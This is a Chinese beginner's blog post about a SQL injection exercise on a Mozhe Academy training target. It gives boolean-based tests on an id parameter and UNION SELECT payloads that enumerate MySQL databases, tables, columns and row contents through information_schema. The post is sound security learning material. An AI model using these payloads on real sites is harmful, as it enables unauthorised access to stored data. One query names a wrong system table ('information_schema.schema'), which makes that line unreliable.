SQL注入(入门)

Posted 先驱创造

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了SQL注入(入门)相关的知识,希望对你有一定的参考价值。

记一次SQL注入过程:

近几日学习了手动SQL注入的原理和一些数据库知识,内心感觉自己掌握了SQL注入的方法,遇到了简单明显的SQL漏洞一定会手到擒来,就算不会利用SQL漏洞干点其他事,但查个数据库还是可以做到的。


于是在今天就决定找一个SQL注入漏洞试试手,于是我找到了墨者学院:https://www.mozhe.cn

这个就是墨者学院众多靶机中的一个,mysql数据库的的漏洞靶机。


刚开始我感觉应该还可以,但是当我尝试几次后,我突然发现,这个看起来好像让我感觉无从下手~~~

SQL注入(入门)

进入页面后,我尝试了几次基于错误的判断,对表单填写了好久~好久~~这是让人心态都崩了,感觉完全找不到什么注入点~

SQL注入(入门)

于是我要耍赖了,哈哈,没办法,找不到,我也不能死耗着,我要先看看它的注入点到底在哪,要不我会疯的。。。于是我用burpsuite截断,然后把请求保存了一个文件,用sqlmap扫描了一下,嘿嘿SQL注入(入门)


但是我耍赖了,我开挂了,我都上帝视角了,sqlmap居然什么都没扫出来,这让我一再怀疑,是不是sqlmap歇菜了!


由于当时做这些时候没有截图,后来完成后再次登陆已经是完成的页面了,不能再次注入了,所有这里没办法放图了。。。


反正,就算是我开挂了,还是对它没办法。


正在我不想再继续下去的时候,我发现了这个:

SQL注入(入门)

在这个表单的下面有这么一个滚动的公告,我发现它可以点击,并且可以进入另一个页面:

SQL注入(入门)

在这个url上可以看到有一个变量,id=1,看到了这个真是让人高兴,于是我对它也进行了一次和表单一样的操作——基于布尔来判断它是否可以注入,结果很明显,我注入成功了


基于布尔的判断是这样的:

原URL:http://xxx.com/a.php?id=1

判断:http://xxx.com/a.php?id=2     页面不显示内容

http://xxx.com/a.php?id=2 or 1=1    页面显示公告内容

http://xxx.com/a.php?id=2 and 1=2     页面不显示内容

由此我判断id是一个注入点

SQL注入(入门)

这个东东就是burpsuite,它是一个很强大的web渗透测试工具,功能多多,我这次用到的就是他的代理截断功能和重放功能

发现注入点是一个很好的开始,但是接下来我发现,我居然不会查数据库。。。我明明会的啊,怎么不灵验了呢


都到这地步了,我不能放弃啊,于是我在百度上进行搜索查看有哪些用于SQL注入用的查询语句,搜索引擎是个好东西,大家一定要懂得使用;搜出来了好多回答,我也试了好多,但都无法执行。


最后我终于找到一个提供给我适合我是用的方法的网站:

https://www.cnblogs.com/cui0x01/p/8620524.html

这个站点中写的比较细致,大家如果看不懂我写的笔记可以查看这个链接。


SQL注入时查看库名、表名、列名、内容数据

查看当前数据库:

Union select 1,2,3,4,5    //先通过这种方式查看服务端的sql查询语句查询了几列。使用union最重要的一点就是要服务端查询语句查了几列,union后的语句就必须也是查询几列,也可以通过order by 10这样结合页面反应来判断服务端查询语句查询了几列


查询所有数据库:

Union select 1,2,3,group_concat(schema_name),4 from information_schema.schema     //这样来查询所有的数据库,group_concat(schema_name)这个语句必须要放在一个查询结果可以显示在页面的列上


基于已知数据库查询所有该库所有表:

Union select 1, 2, 3, group_concat(table_name), 4 from information_schema.tables where table_schema=0x(数据库库名的十六进制编码)


基于已知数据表查询该表下的所有列:

Union select 1,2,3,group_concat(column_name),4 from information_schema.columns where table_name=0x(数据库表名的十六进制编码)


查询某个数据表内所有列的内容:

Union select 1,2,3,group_concat(数据表内每一个列的列名,可以选择一个十六进制编码的符号来将这些输出信息分隔开来),4  from 表名


以上就是这次SQL注入漏洞的收获了

以上是关于SQL注入(入门)的主要内容,如果未能解决你的问题,请参考以下文章

SQL注入攻防入门详解

SQL注入基础入门

SQL注入(入门)

PHP代码审计入门(SQL注入漏洞挖掘基础)

基础Web漏洞-SQL注入入门(手工注入篇)

挖洞入门_显错型SQL注入